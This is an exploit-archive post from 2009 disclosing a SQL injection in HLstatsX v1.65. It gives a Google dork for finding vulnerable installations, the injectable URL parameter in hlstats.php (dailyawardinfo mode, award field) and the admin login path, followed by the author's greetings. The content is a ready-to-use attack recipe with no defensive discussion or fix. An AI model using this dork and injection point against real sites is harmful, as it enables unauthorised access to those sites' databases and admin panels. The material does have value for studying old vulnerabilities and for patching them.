HLstatsX v1.65 SQL Injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : HLstatsX v1.65 SQL Injection Vulnerability
# Published : 2009-12-31
# Author : bnc
# Previous Title : Joomla Component com_mdigg SQL Injection Vulnerability
# Next Title : Discuz <= 1.03 SQL Injection Exploit Vulnerability

#==iNFO==========================================#
# Software: HlstatsX Sql Injection
# Vulnerability: Remote Sql Injection
# Google Dork: "hlstats.php?mode=dailyawardinfo&award=" hlstatsx
# Off. site: www.hlstatsx.com
#================================================#

#===Author=======================================#
# Author: bnc
# Date: 2009.12.30.
# Contact: irc.freenode.net<http://irc.freenode.net> #rootsite.hu<http://rootsite.hu> [BNC]
#================================================#


#==SQL_Injection================================#
# Exploit: hxtp://site/hlstats.php?mode=dailyawardinfo&game=l4d&award=@

# Login page: hxtp://site/hlstats.php?mode=admin
#================================================#


#===Greetz=======================================#
# rootsite.hu<http://rootsite.hu> staff & members, for happy moments
# My mom for cookies, and intresting blablas
# My girlfriend, for anything, I just love babe <3
#================================================#